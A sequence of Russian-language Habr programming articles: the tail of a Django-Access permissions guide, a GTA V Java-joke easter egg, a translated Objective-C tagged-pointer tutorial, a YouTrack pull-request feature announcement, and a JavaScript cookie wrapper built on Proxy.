Проверка ограничения доступа
----------------------------
Динамически определенные атрибуты позволяют вызвать у менеджера доступа `AccessManager` методы `check_something` и `apply_something`, где `something` — любое допустимое имя. Это имя служит именем способности — *ability* — которая запрашивается у системы. Например, для получения прав на просмотр (способность `visible`), запрашиваются методы `check_visible` и `appy_visible`.
Метод `check_something` получает модель и определяет ограничение способности в ее отношении, а методу `appy_something` передается `QuerySet` и метод определяет ограничения нашей способности относительно списка объектов в этом запросе.
Менеджер ищет зарегистрированный плагин и запрашивает у него, либо у плагина по умолчанию, аналогичный метод. Отсутствующий метод означает разрешение запрошенных действий с указанной способностью в отношение всех объектов запрошенного множества. Если плагин найден, он и осуществляет проверку.
### Ограничение доступа к модели в целом
Ограничение доступа к модели в целом производится методом плагина с префиксом `check_`. Методу передается модель и объект `Request`, определяющий контекст проверки прав. Если метод возвращает False, доступ запрещен. Для разрешения доступа, обычно возвращается словарь, что позволяет комбинировать возвращенные значения, когда их обрабатывает `CompoundPlugin`. Такой, несколько неожиданный, способ возврата значений, позволяет использовать их при запросе доступа на добавление `check_appendable`: поля, имена которых упомянуты в возвращенном скомбинированном словаре, заполняются значениями, взятыми из словаря, у вновь создаваемого объекта.
### Ограничение доступа к отдельным объектам
Анализ ограничения доступа к отдельным объектам подразумевает наложение на запрос `QuerySet` фильтров, оставляющих в нем только те объекты, для которых указанный доступ разрешен.
Такое наложение выполняется методом плагина с префиксом `apply_`. Методу передается `QuerySet` и объект `Request`, определяющий контекст проверки прав. Метод накладывает на переданный `QuerySet` фильтры, ограничивающие множество объектов только теми, которые допускают указанный способ доступа для указанного контекста, и возвращает отфильтрованный `QuerySet`.
Стандартные проверки
--------------------
В системе осуществляется проверка следующих способностей со стороны контекста в отношении объектов системы:
* `appendable` — создавать
* `visible` — видеть
* `changeable` — изменять
* `deleteable` — удалять
При этом, способность `appendable` проверяется только в отношении модели в целом, методом `check_appendable` соответственно, поскольку проверка в отношении конкретных объектов не имеет смысла: они уже созданы.
Остальные способности проверяются как в отношение к модели в целом, так и в отношение к конкретному списку объектов. Итого, для стандартных проверок, вызываются следующие методы плагинов, если они определены:
* `check_appendable`
* `check_visible`
* `apply_visible`
* `check_changeable`
* `apply_changeable`
* `check_deleteable`
* `apply_deleteable`
Нестандартные проверки
----------------------
Любое приложение может сконструировать объект `AccessManager` и запросить у него проверку как стандартных, так и нестандартных способностей. Для этого, приложение запрашивает метод с префиксом `check_` или `apply_` и суффиксом, соответствующим запрошенной способности.
Если метод, соответствующий запрошенной способности, не определен в найденном плагине, она считается доступной. Метод `check_` в этом случае, возвращает пустой словарь, а `apply_` — неизмененный `QuerySet`.
Админка
-------
Модуль `admin` содержит специальный класс `AccessControlMixin`, который можно подмешивать к любому классу стандартной джанговской админки. Этот класс переопределяет методы, которые участвуют в определении порядка доступа к объектам, и ограничивает доступ в соответствие с правилами ограничения доступа, установленными для проекта.
Для конструирования админок с нуля, также определены классы `AccessModelAdmin`, `AccessTabularInline` и `AccessStackedInline`, которые можно использовать в точности так же, как их прототипы из Джанги. По сути, эти классы являются чистой комбинацией `AccessControlMixin` и соответствующего класса из Джанги.
Пример
======
Для демонстрации возможностей пакета, воспользуемся примером, входящим составной частью в исходный код пакета.
Пример использует модели из стандартного пакета `django.contrib.auth`, а также имеет собственное дополнительное приложение `someapp`, в котором определяет два класса модели:
* `SomeObject` управляемый из отдельного `ModelAdmin`, который ссылается на группу редакторов `editor_group` и множество групп, имеющих доступ на чтение — `viewer_groups`
* `SomeChild` который ссылается на `SomeObject` и управляется из `InlineAdmin`
Пример определяет следующую схему доступа:
* суперпользователь может все
* используются обычные `Permission` Джанги
* все пользователи могут читать, если разрешено, все характеристики объекта `User` друг у друга, за исключением пароля и электронной почты
* запись `User` о себе самом доступна на изменение, исключая поле `is_superuser`
* группы `Group` и права `Permission` доступны только те, которые имеют отношение к данному пользователю
* объекты `SomeObject` и их подобъекты `SomeChild` доступны для чтения пользователям групп, определенных как `viewer_groups` и для записи пользователям, включенным в группу `editor_group`
Правило доступа на добавление для группы определяет также, что при добавлении, в группу входит ее создатель. Это делается для того, чтобы вновь созданная группа была доступна для ее создателя после добавления.
Таким образом, в примере, посредством использования функциональности пакета и добавления минимума дополнительного кода, создана комфортная безопасная среда с контролируемым доступом, как к отдельным функциям пользователей, так и к общему для них пространству.
Заключение
==========
Функциональное определение правил ограничения доступа в пакете [Django-Access](https://github.com/nnseva/django-access) позволяет легко устанавливать сложные произвольные правила разграничения доступа, избегая создания дополнительных сущностей, загромождающих проект кодом, а базу — записями.
Присоединяйтесь к развитию проекта, ищите баги, создавайте issue. Пулл реквесты приветствуются. | https://habr.com/ru/post/341496/ | null | ru | null |
# Кофейня Java Update в GTA V
Разработчики серии Grand Theft Auto всегда славились двумя качествами: своеобразным юмором и вниманием к деталям своего мира-песочницы. На фоне [новостей про установление еще одного рекорда продаж](http://kanobu.ru/news/grand-theft-auto-v-razoshlas-tirazhom-v-16-mln-kopij-za-pervuyu-nedelyu-368871/) (на этот раз — мирового) хочется рассказать о паре забавных находок в игре.
В городе Лос Сантос игроки обнаружили кофейню java.update(), которая объединяет две популярные отсылки — к языку программирования и сорту кофе. На вывеске этого заведения есть следующий код:
```
public void sandwich () {
bread = 2;
bacon = 2;
return bread + bacon;
}
```
Функция типа void, возвращающая значение?.. Исправляем ошибку:
```
public int sandwich () {
bread = 2;
bacon = 2;
return bread + bacon;
}
```
Лучший вариант, который можно даже скомпилировать:
```
public Sandwich makeSandwich() {
Bread bread = new Bread(2);
Bacon bacon = new Bacon(2);
return new Sandwich(bread, bacon);
}
```
Но читатели hackernews на этом не успокаиваются и предлагают еще один *вариант*:
```
class TwoBaconRashersInsideTwoSlicesOfBreadFactory {
/* Make a sandwich
*
\* Construct a foodstuff consisting of two slices
\* of bread with two slices of bacon.
\* @return TwoBaconRashersInsideTwoSlicesOfBread a sandwich
\*/
Public TwoBaconRashersInsideTwoSlicesOfBread getSandwich () {
BaconRasherFactory pig = new BaconRasherFactory();
BaconRasherInstance bacon1 = pig.getBaconRasher();
BaconRasherInstance bacon2 = pig.getBaconRasher();
SliceOfBreadFactory loaf = new SliceOfBreadFactory();
SliceOfBread bread1 = loaf.getSliceOfBread();
SliceOfBread bread2 = loaf.getSliceOfBread();
return new TwoBaconRashersInsideTwoSlicesOfBread(bread1, bacon1, bacon2, bread2);
}
```
Существуй такое кафе в реальности, команда `sudo make me a sandwich` была бы в нем вполне уместна.
На этом «пасхальные яйца» не заканчиваются: у одного из персонажей игры на мониторе был замечен текстовый редактор с неким исходным кодом (предположительно, редактор — это Sublime Text или TextMate с темой monokai).
**скриншот**
Источники: [orcz.com](http://orcz.com/GTA_V:_Java_Update_Coffeeshop), [hackernews](https://news.ycombinator.com/item?id=6444026) | https://habr.com/ru/post/195484/ | null | ru | null |
# Меченые указатели, или как уместить объект в одном инте
Если вы когда-нибудь писали приложение на Objective-C, вы должны быть знакомы с классом **NSNumber** — оберткой, превращающей число в объект. Классический пример использования — это создание числового массива, заполненного объектами вида **[NSNumber numberWithInt:someIntValue];**.
Казалось бы, зачем создавать целый объект, выделять под него память, потом ее чистить, если нам нужен обычный маленький int? В Apple тоже так подумали, и потому NSNumber — это зачастую совсем не объект, и за указателем на него скрывается… пустота.
Если вам интересно, как же так получается, и при чем тут меченые указатели — добро пожаловать под кат!
#### Немного теории выравнивания указателей
Всем известно, что указатель—это обычный int, который система принимет за адрес в памяти. Переменная, содержащая в себе указатель на объект представляет из себя int со значением вида 0x7f84a41000c0. Вся природа «указательности» заключается в том, как программа её использует. В Си мы можем получить интовое значение указателя простым кастингом:
```
void *somePointer = ...;
uintptr_t pointerIntegerValue = (uintptr_t)somePointer;
```
*(**uintptr\_t** представлеят из себя стандартный сишный **typdef** для целых чисел, достаточно большой, чтобы вместить указатель. Это необходимо, так как размеры указателей варьируются, в зависимости от платформы)*
Практически в каждой компьютерной архитектуре есть такое понятие, как *выравнивание указателей*. Под ним имеется в виду то, что указатель на какой-либо тип данных должен быть кратным степени двойки. Например, указатель на 4-х байтовый int должен быть кратен четырём. Нарушение ограничений, накладываемых выравниваем указателей может привести к значительному снижению производительности или даже полному падению приложения. Также, верное выранивание необходимо для атомарного чтения и записи в память. Короче говоря, выравнивание указателей—штука серьёзная, и вам не стоит пытаться её нарушать.
Если вы создате переменную, компилятор может проверить выравнивание:
```
void f(void) {
int x;
}
```
Однако, всё становится не так просто в случае динамически выделяемой памяти:
```
int *ptr = malloc(sizeof(*ptr));
```
У *malloc* нет никакого представления о том, какого типа будут данные, он просто выделяет четыре байта, не зная о том, *int* это, или два *short*а, четыре *char*а, или вообще что-то ещё.
И потому, чтобы соблюсти правильное выравнивание, он использует совсем уж параноидальный подход и возвращает указатель выравненный так далеко, чтобы эта граница подошла для абсолютно любого типа данных. В Mac OS X, *malloc* всегда возвращает указатели, выравненные по границе 16-и байтов.
Из-за выравнивания, в указателе остаются неиспользованные биты. Вот как выглядит hex указателя, выравненного по 16-и байтам:
```
0x-------0
```
Последняя цифра hex *всегда* нуль. Вообще, может быть и вполне себе валидный указатель, который не соблюдает эти условия (например, char \*), но указатель на объект всегда должен заканчиваться на нулевые биты.
#### Немного теории меченых указателей
Зная о пустых битах в конце указателя, можно пойти и дальше и попытаться найти им применение. Почему бы не использовать их как индикатор того, что это не настоящий указатель на объект? Тогда мы могли бы хранить данные прямо здесь, в самом указателе, без необходимости выделять дорогую память? Да-да, это и есть те самые меченые указатели.
Системы, в которых используются меченые указатели, осуществляют дополнительную проверку — они смотрят на младший бит, и если он равен нулю — перед нами настоящий объект. Если же это единица, то перед нами не объект а что-то другое, и информацию из указателя придется извлекать нестандарнтым путем. Обычно тип данных хранится сразу за младшим битом, а далее следуют сами данные.
Вот так выглядел бы валидный объект в двоичном представлении:
```
....0000
^ нули на конце
```
А это меченый указатель:
```
....xxx1
^ здесь указан тип
```
Все это можно реализовать различными способами, но в Objective-C младший бит меченого указателя всегда равен единице, а последующие три обозначают класс указателя.
#### Применение меченых указателей
Меченые указатели зачастую используются в языках, где все — объект. Согласитесть, когда 3 — это объкет, а 3+4 включает в себя два объекта, да еще и создание третьего, выделение памяти для объектов и извлечение из них данных начинает играть значительную роль в общей производительности. Вся эта возня с созданием объектов, доступа к медленной памяти, занесения значения в объект, который никто не использует, в разы превышает затраты на само сложение.
Использование меченых указателей избавляет нас от этих невзгод для всех типов, которые поместятся в тех самых пустых битах. Маленькие инты — идеальные кандидаты на эту роль — они занимают совсем немного места и повсеместно используются.
Вот так выглядела бы обычная тройка:
```
0000 0000 0000 0000 0000 0000 0000 0011
```
А вот тройка, спрятанная в меченом указателе:
```
0000 0000 0000 0000 0000 0000 0011 1011
^ ^ ^ меченый бит
| |
| класс меченого указателя (5)
|
двойчная тройка
```
Здесь я предположил, что для обозначения int используется пятерка, но, на самом деле, это остается на усмотрение системы, и все может в любой момент поменяться.
Наблюдательный читатель, наверное, уже заметил, что у нас остается всего 28 бит на 32-разрядной системе и 60 на 64-разрядной. А целые могут принимать и большие значения. Все верно, не каждый int можно спрятать в меченом указателе, для некоторых придется создавать полноценный объект.
Когда всё умещается в одном указателе, отпадает необходимость выделять отдельную память, очищать её. Также, мы просто экономим небольшое количество памяти, которое пришлось бы выделить под отдельный объект. Это может показаться незначительным при сложении тройки и четвёрки, но при большом количестве операций над числами, этот прирост весьма ощутим.
Наличие же битов, указывающих тип данных в указателе, дает возможность хранить там не только int, но и числа с плавющей запятой, да даже несколько ASCII символов (8 для 64 битной системы). Даже массив с указателем на один элемент может уместиться в меченом указателе! В общем, любой достаточно маленький и широкоиспользуемый тип данных явлется отличным кандидатом на использование в рамках меченого указателя.
##### Что ж, довольно теории, переходим к практике!
За основу мы возьмем [MANumber](http://www.mikeash.com/pyblog/friday-qa-2012-07-06-lets-build-nsnumber.html)—кастомную реализацию NSNumber, и добавим туда поддержку меченых указателей.
Хочу отметить, что меченые указатели — это очень, очень закрытое API, поэтому нельзя даже и думать о том, чтобы использовать их в реальном проекте. Под определение класса объекта выделено всего три бита — итого одновременно могут быть задействованы всего восемь классов. Если вы случайно пересечетесь с классом, использованным Apple — все, беда. А, в силу того, что данная информация может поменяться абсолютно любым образом, в любой момент, вероятность того, что беда однажды случится равна ста процентам.
Однако, ничто не мешает нам с ними поиграться, пусть у нас никогда и не будет возможности их безопасно использовать.
Что ж, начнем. Функция *private \_objc\_insert\_tagged\_isa* позволяет закрепить некоторый класс за конкретным тэгом. Вот ее протоип:
```
void _objc_insert_tagged_isa(unsigned char slotNumber, Class isa);
```
Вы передаете в нее номер слота(тэг) и необходимый класс, а она саязывает их в определенной таблице для дальнейшего использования во время исполнения.
Практически любой класс на меченых указателях нуждается в классе-близнице, который будет создавать нормальный объект в случае, есле значение не будет умещаться в рамках указателя. Для NSNumber это будут особо большие инты и double, которые совсем уж сложно запихнуть в указатель, и я не буду здесь этим заниматься.
Для этого существует два подхода. Первый — это создать два абсолютно разных класса, с неким общим предком для кода, который будет повторяться в обоих потомках. Второй же заключается в том, что в рамках одного класса мы будем использовать разный код, в зависимости от значения, которое нам нужно сохранить. Я воспользуюсь вторым подходом, так он показался мне проще для данного конекретного случая.
Для хранения значения переменной я использовал [объединение](http://cupsofcocoa.com/2011/05/22/objective-c-lesson-14-structs-and-unions/):
```
union Value
{
long long i;
unsigned long long u;
double d;
};
```
Далее следуют некоторые константы, опредеяющие информацию в меченом указателе. Сначала — номер слота, я принял его равным единице:
```
const int kSlot = 1;
```
Так же я решил определить количество меченых указателей — это понадобиться для дальнейшего извлечения значений:
```
const int kTagBits = 4;
```
MANumber помимо самого значения, хранит его тип, указывающий, как с ним взаимодействовать, и, так как нам необходимо сжимать все по-максимуму, а возможных типов у нас всего три, я выделил под это два бита:
```
const int kTypeBits = 2;
```
Хоть я и не реализовал поддержку double, я все равно оставил под него место, дабы соблюсти единообразие с обычным MANumber и облегчить себе возможную поддержку double в дальнейшем.
И, наконец, так как тип целых, которые мы храним — long long, было бы неплохо доподлинно знать, сколько бит он занимает:
```
const int kLongLongBits = sizeof(long long) * CHAR_BIT;
```
Здесь я предполагаю, что тип указателя — long long, я не пытался осуществлять поддержку 32-битных систем.
Для большего удобства, я написал несколько вспомогательных функций. Первая создает меченый MANumber, принимая на вход тип данных и значение:
```
static id TaggedPointer(unsigned long long value, unsigned type)
{
```
Напомню структуру меченого указателя. Младший бит всегда равен единице. За ним следуют три бита, указыающие класс объекта, и только потом сами данные объекта. В нашем случае это два бита, определяющие тип, и после них само значение. Вот строка, что объединяет и записывает всю эту информацию с помощью побитовых операций:
```
id ptr = (__bridge id)(void *)((value << (kTagBits + kTypeBits)) | (type << kTagBits) | (kSlot << 1) | 1);
```
По-поводу странного двойного приведения типов — я использую [ARC,](http://developer.apple.com/library/ios/#releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html) а он весьма избирателен в этом вопросе. Поэтому когда вы преобразуете указатели на объекты в указатели на необъекты необходим \_\_bridge, а уж в int он вам указатель тем более не даст преобразовать. Именно поэтому я сначала преобразую в void\*, а потом все это в объект.
С этим все, и я теперь я возвращаю только что созданный указатель:
```
return ptr;
}
```
Также, я создал функцию, проверяющую, помечен указатель, или нет. Всё, что она делает—проверяет младший бит, но из-за дурацкого двойного приведения типов её пришлось вынести в отдельную функцию.
```
static BOOL IsTaggedPointer(id pointer)
{
uintptr_t value = (uintptr_t)(__bridge void *)pointer;
return value & 1;
}
```
Ну и наконец, функция, которая извлекает из меченого указателя всю информацию. Так как Си не поддерживает возврат сразу нескольких значений, я создал для этого специальную структуру: в ней содержится тип и само значение
```
struct TaggedPointerComponents
{
unsigned long long value;
unsigned type;
};
```
Эта функция сначала преобразует указатель в int, с помощью того самого приведения типов, только в обратную сторону:
```
static struct TaggedPointerComponents ReadTaggedPointer(id pointer)
{
uintptr_t value = (uintptr_t)(__bridge void *)pointer;
```
Потом мы начинаем извлекать нужную информацию. Первые четыре бита можно игнорировать, а значение извлекается простым сдвигом:
```
struct TaggedPointerComponents components = {
value >> (kTagBits + kTypeBits),
```
Чтобы получить тип, необходимо не только сдвинуть, но и наложить маску
```
(value >> kTagBits) & ((1ULL << kTypeBits) - 1)
};
```
В итоге, все компоненты получены, и мы просто их возвращаем в виде структуры.
```
return components;
}
```
В какой-то момент мы должны сообщить runtime о том, что мы—класс, работающий на меченых указателях, вызвав функцию *\_objc\_insert\_tagged\_isa*. Лучше всего для этого подходит +initialize. В целях безопасности, Objective-C Runtime не любит, когда перезаписывают какой-то слот, и потому сначала туда нужно записать nil, и только потом наш новый класс:
```
+ (void)initialize
{
if(self == [MANumber class])
{
_objc_insert_tagged_isa(kSlot, nil);
_objc_insert_tagged_isa(kSlot, self);
}
}
```
Теперь мы можем перейти к самому процессу создания меченых указателей. Я написал два метода: *+numberWithLongLong:* и *+numberWithUnsignedLongLong:*. Эти методы пытаются создать объекты на меченых указателях, а если значение слишком велико, просто создают обычные объекты.
Эти методы могут создать меченый указатель только для определенного множества значений — они должны умещаться в kLongLongBits — kTagBits — kTypeBits, или 58 бит в 64-битной системе. Один бит нужен для обозначения знака, итого, максимально значение long long равно 2 в 57, минимальное в -57.
```
+ (id)numberWithLongLong: (long long)value {
long long taggedMax = (1ULL << (kLongLongBits - kTagBits - kTypeBits - 1)) - 1;
long long taggedMin = -taggedMax - 1;
```
Осталось самое простое. Если значение лежит за пределами допустимого, мы исполняем обычный танец с alloc/init. В противном случае, мы создаем меченый указатель с данным значением и классом INT:
```
if(value > taggedMax || value < taggedMin)
return [[self alloc] initWithLongLong: value];
else
return TaggedPointer(value, INT);
}
```
Для unsigned long long все то же самое, за исключением увеличения множества значений из-за ненужного знакового бита:
```
+ (id)numberWithUnsignedLongLong:(unsigned long long)value {
unsigned long long taggedMax = (1ULL << (kLongLongBits - kTagBits - kTypeBits)) - 1;
if(value > taggedMax)
return [[self alloc] initWithUnsignedLongLong: value];
else
return (id)TaggedPointer(value, UINT);
}
```
Теперь нам нужен аксессор типа для наших указателей, чтобы мы могли просто вызывать [self type], не заботясь о битах, маске и прочем. Все, что он будет делать, это проверять указатель функцией IsTaggedPointer, и если он меченый, вызывать ReadTaggedPointer. Если же указатель обычный, просто возвращаем \_type:
```
- (int)type
{
if(IsTaggedPointer(self))
return ReadTaggedPointer(self).type;
else
return _type;
}
```
Аксессор значения будет несколько сложнее из-за трудностей со знаком. Сперва-наперво проверим, не обычный ли это указатель:
```
- (union Value)value
{
if(!IsTaggedPointer(self))
{
return _value;
}
```
Для меченых нам сначала приедтся считать значение с помощью ReadTaggedPointer. На выходе мы имеем unsigned long long, поэтому нам придется немного поработать, в случае если значение реально имеет знак.
```
else
{
unsigned long long value = ReadTaggedPointer(self).value;
```
Создаем локальную переменную типа union Value для возвращаемого значения:
```
union Value v;
```
Если это unsigned, то все просто — помещаем в v значение, и все:
```
int type = [self type];
if(type == UINT)
{
v.u = value;
}
```
С signed же все не так просто. Для начала проверим знаковый бит — он спрятан в бите под номером 57:
```
else if(type == INT)
{
unsigned long long signBit = (1ULL << (kLongLongBits - kTagBits - kTypeBits - 1));
```
Если бит равен единице, то все следущие за 57 битом биты нужно заполнить единицами, нужно это для того, чтобы данный long long был валидным 64-битным отрицательным числом. Эта процедура называется sign extension, вкратце ее суть такова: отрицательные числа начинаются с единиц, и первый ноль — это первый значимый бит. Поэтому чтобы расширить отрицательное число, вы просто добавляете единицы слева:
```
if(value & signBit)
{
unsigned long long mask = (((1ULL << kTagBits + kTypeBits) - 1) << (kLongLongBits - kTagBits - kTypeBits));
value |= mask;
}
```
С положительными числами ничего делать не нужно — они и так заполнены нулями слева. Поэтому просто заполняем v:
```
v.i = value;
}
```
Если же мы получили какой-то другой тип, то дела плохи, придется выкидывать:
```
else
abort();
```
В итоге, возвращем v:
```
return v;
}
}
```
Написав весь этот код мы получаем возможность работать с новым MANumber, как с обычным, с той лишь только разницей, что нам придется обращаться к значениям не напрямую, а через методы-аксессоры. Мы даже можем сравнивать меченые и обычные MANumber с помощью *compare:* и *isEqual:*.
#### Выводы
Меченые указатели — это отличное дополнение в Cocoa и Objective-C runtime, позволяющее значительно увеличить скорость работы и уменьшить затраты на память при работе с NSNumber.
Мы можем написать свои собственные классы, работающие с мечеными указателями, чтобы пролить свет на внутреннее устройство NSNumber, однако, из-за сильно ограниченого числа свободных слотов, нет никакой возможности использовать их в реальном коде. Это чисто преригатива Cocoa, значительно ускоряющая ее работу.
Что ж, она выполняется идеально, и нам остается только порадоваться, что внутри простенького NSNumber скрывается такой замечательный механизм.
*(Вольный перевод [свеженького Friday Q&A](http://www.mikeash.com/pyblog/friday-qa-2012-07-27-lets-build-tagged-pointers.html) от Mike Ash)*
##### UPDATE:
Как и обещал, практическое применение меченых указателей не заставило себя долго ждать. | https://habr.com/ru/post/149012/ | null | ru | null |
# YouTrack теперь с просмотром пул-реквестов в задачах
Привет, Хабр!
С вами команда YouTrack из JetBrains. У нас отличные новости — начиная с YouTrack 2020.3 в задачах отображаются не только коммиты, связанные с задачами, но и пул-реквесты. В сегодняшнем посте мы расскажем, что это, зачем это, и как это поможет сделать процесс разработки более эффективным и понятным, а еще покажем остальные нововведения последней версии YouTrack.
За подробностями добро пожаловать в пост.
Что такое пул-реквест?
----------------------
В ряде моделей модели разработки совместная работа над проектом выглядит так: вы копируете проект из системы контроля версий, вносите изменения локально, после чего отправляете запрос владельцу проекта на одобрение ваших изменений и включение их в общую кодовую базу проекта. Такой запрос называется пул-реквестом (или мерж-реквестом, в зависимости от системы контроля версий).
Грубо говоря, пул-реквест — это способ рассказать владельцу репозитория или своей команде, что вы сделали в проекте, и предложить включить ваши изменения в одну из общих веток разработки. Владелец репозитория (или человек, который будет делать вам код-ревью) может как принять изменения (смержить пул-реквест), так и отклонить — например если изменения противоречат видению автора проекта или в процессе код-ревью решили, что код нужно доработать.
В проектах с открытым исходным кодом нередко существуют требования к пул-реквестам, без соответствия которым пул-реквест не будет принят: например, наши коллеги из команды Kotlin просят разработчиков убедиться, что в описании пул-реквеста указана ссылка на соответствующую задачу в YouTrack, что изменения в пул-реквесте относятся только к указанным задачам, и что новый код запускается, корректно выполняется и покрыт тестами.
Зачем пул-реквесты в трекере?
-----------------------------
Создание и принятие/отклонение пул-реквестов — это такие же важные шаги в жизненном цикле задачи, как и смена статуса или привязка соответствующего коммита. Все эти шаги показывают ход работы над задачей всем заинтересованным наблюдателям – например, комьюнити проекта с открытым исходным кодом или проектному менеджеру команды. Например, если задача не была закрыта из-за отклонения определенного пул-реквеста, эта информация должна быть обязательно отражена в истории задачи — в том числе и в ретроспективных целях, когда вам понадобится понять, почему задача столько времени провисела в открытом состоянии. Такой механизм делает процесс разработки более прозрачным и позволяет вам отслеживать жизненный цикл задачи шаг за шагом, не пропуская важных событий.
Просмотр пул-реквестов в задачах
--------------------------------
Вернемся к YouTrack: начиная с YouTrack 2020.3, разработчики смогут видеть пул-реквесты из GitHub, GitLab, BitBucket, Gogs и Gitea в задачах рядом с коммитами. Чтобы пул-реквест вместе с его описанием, числом обновленных файлов и информацией об авторе отобразился в задаче, нужно упомянуть соответствующую задачу в названии пул-реквеста (все точно так же, как и с коммитами).
Далее, после принятия или отклонения пул-реквеста, YouTrack включит это событие в поток активности задачи вместе с автором события и статусом пул-реквеста. Получается, лента изменений задачи будет отображать весь жизненный цикл пул-реквеста — его создание и финальное решение (отклонение либо включение в кодовую базу).
Автоматизируй это
-----------------
Мы очень любим и активно используем автоматизацию, поэтому не могли пройти мимо возможности использовать события из системы контроля версий в скриптах автоматизации. Теперь вы можете инициировать запуск рабочего процесса (workflow) YouTrack при добавлении пул-реквеста или коммита. Кроме того, в рабочих процессах появился доступ к свойствам коммитов и пул-реквестов, таким как имя автора, описание или примечание.
Что это значит? Например, вы можете автоматически менять статус задачи в зависимости от статуса пул-реквеста или отправлять запрос на код-ревью коллеге при создании пул-реквеста.
Вот такой несложный скрипт автоматически переведет задачу в статус Fixed при мерже пул-реквеста и затем назначит ее на QA-лида с сообщением о том, что задача готова к тестированию:
```
var entities = require('@jetbrains/youtrack-scripting-api/entities');
var QA_LEAD = 'qa_superman';
exports.rule = entities.Issue.onChange({
title: 'Set_to_fixed_when_pull_request_is_merged_and_notify',
guard: function(ctx) {
return ctx.issue.pullRequests.isNotEmpty() &&
ctx.issue.pullRequests.last().previousState &&
ctx.issue.pullRequests.last().state.name !== ctx.issue.pullRequests.last().previousState.name &&
ctx.issue.pullRequests.last().state.name === "MERGED";
},
action: function(ctx) {
var issue = ctx.issue;
issue.State = ctx.State.Fixed;
issue.Assignee = entities.User.findByLogin(QA_LEAD);
issue.addComment("The issue is ready to be tested");
},
requirements: {
State: {
type: entities.State.fieldType,
Fixed: {
name: "Fixed"
}
},
}
});
```
Как и раньше, скрипты могут запускаться по расписанию или при определенном событии в зависимости от вашего процесса. Подробности о рабочих процессах и о том, как их писать, можно найти [здесь](https://www.jetbrains.com/help/youtrack/standalone/Workflow-Guide.html).
Что еще интересного?
--------------------
Конечно, мы не ограничились только просмотром пул-реквестов. Среди остальных нововведений — новый виджет учета времени для панелей мониторинга (дашборды), чтобы было удобнее следить за продуктивностью и не увлекаться переработками на карантине.
Для удобной работы со списком задач мы добавили возможность отображать только незавершенные задачи в один клик и сортировать задачи по количеству комментариев. Базе знаний досталась подсветка синтаксиса для блоков кода с автоматическим определением языка программирования, а для любителей Markdown мы сделали возможность менять размер вложенных изображений, видео и других медиа-файлов в задачах и статьях.
Есть новости и для тех, кто использует LDAP-сервер для управления учетными данными пользователей. YouTrack и раньше позволял аутентифицироваться с помощью учетных данных из LDAP-сервера, а теперь к этому добавилась синхронизация групп и атрибутов пользователей с LDAP-сервером по расписанию. Это позволит поддерживать учетные данные и информацию о принадлежности к LDAP-группам в максимально актуальном состоянии — например, поможет избежать несанкционированного доступа к данным в трекере, если пользователь уже не является членом группы на вашем LDAP-сервере, но все еще получает соответствующий доступ в трекере из-за задержки в синхронизации между LDAP-сервером и YouTrack.
Подробности обо всех изменениях можно найти на [нашем сайте](https://www.jetbrains.com/ru-ru/youtrack/whatsnew/).
А если вы еще не знакомы с YouTrack или только начинаете работу с ним — добро пожаловать на нашу [бесплатную демонстрацию](https://info.jetbrains.com/youtrack-ru-webinar-august-2020?utm_source=habr&utm_medium=referral&utm_campaign=youtrackru) основ YouTrack. | https://habr.com/ru/post/512880/ | null | ru | null |
# Работаем с куки как с классом javascript
Всем привет! Сегодня я хочу рассмотреть очень популярный вопрос: как работать с куки? Везде предлагаются очень разные методы, но вот какой лучше? Определенного ответа на этот вопрос нет, но я хочу предложить очень удобный способ, и если ты заинтересовался — добро пожаловать под каст.
И так, к делу
-------------
Делаем методы get\_cookie, set\_cookie и delete\_cookie:
**Код**
```
var _cookie = {
get_cookie:function(cookie_name){
var r=document.cookie.match('(^|;) ?'+cookie_name+'=([^;]*)(;|$)');
return r?unescape(r[2]):null
},
delete_cookie:function(cookie_name){
var c=new Date();
c.setTime(c.getTime()-1);
document.cookie=cookie_name+="=; expires="+c.toGMTString()
},
set_cookie:function(name,value,exp_y,exp_m,exp_d,path,domain,secure){
var c=name+"="+escape(value);
if(exp_y){
var expires=new Date(exp_y,exp_m,exp_d);
c+="; expires="+expires.toGMTString()
}
if(path)c+="; path="+escape(path);
if(domain)c+="; domain="+escape(domain);
if(secure)c+="; secure";
document.cookie=c;
}
}
```
Отлично, чекаем эти методы, и впринципе, можно на этом закончить. Но это не то, к чему мы стремимся. Очень хочется сделать что-то вроде properties с#.
В javascript для этого есть очень удобный класс [**Proxy**](https://learn.javascript.ru/proxy).
Если вкратце, то **Proxy** «оборачивается» вокруг другого объекта и может перехватывать (и, при желании, самостоятельно обрабатывать) разные действия с ним, например чтение/запись свойств и другие.
Для работы с методами прокси создаем две лямбда-функции:
**Код**
```
var __methods = {
get:(t,m)=>m in t?t[m]:_cookie.get_cookie(m),
set:(t,m,v)=>v?_cookie.set_cookie(m,v):_cookie.delete_cookie(m)
}
```
Теперь создаем сам класс **Proxy**, первый параметр которого — список методов класса, его укажем равному \_cookie, но если вам не нужны сами методы работы с куки — укажите {}, второй параметр — тот самый **\_\_methods** , который мы только что создали.
Отлично, теперь просто пишем простую строку:
```
var cookie = new Proxy(_cookie,__methods);
```
УРА! мы создали класс, при вызове (get) свойств которого будет вызываться метод **\_\_methods .get**, а при присвоении ему значения — **\_\_methods.set**.
Пример использования:
**Код**
```
var name= prompt("введите имя куки","my_name");
var value= parseFloat(prompt("Введите значения куки ( float )","103"));
cookie[name] = value;
if(value<100) cookie[name]+=10;
else cookie[name]-=10;
//любые другие действия
alert("Отлично, значение "+name+" = "+value+" сохранено в куки!"+"\nВот все куки:\n"+document.cookie);
```
**Полный код:**
```
var _cookie = {
get_cookie:function(cookie_name){
var r=document.cookie.match('(^|;) ?'+cookie_name+'=([^;]*)(;|$)');
return r?unescape(r[2]):null
},
delete_cookie:function(cookie_name){
var c=new Date();
c.setTime(c.getTime()-1);
document.cookie=cookie_name+="=; expires="+c.toGMTString()
},
set_cookie:function(name,value,exp_y,exp_m,exp_d,path,domain,secure){
var c=name+"="+escape(value);
if(exp_y){
var expires=new Date(exp_y,exp_m,exp_d);
c+="; expires="+expires.toGMTString()
}
if(path)c+="; path="+escape(path);
if(domain)c+="; domain="+escape(domain);
if(secure)c+="; secure";
document.cookie=c;
}
};
var __methods = {
get:(t,m)=>m in t?t[m]:_cookie.get_cookie(m),
set:(t,m,v)=>v?_cookie.set_cookie(m,v):_cookie.delete_cookie(m)
};
var cookie = new Proxy(_cookie,__methods);
```
**Сжатый код:**
```
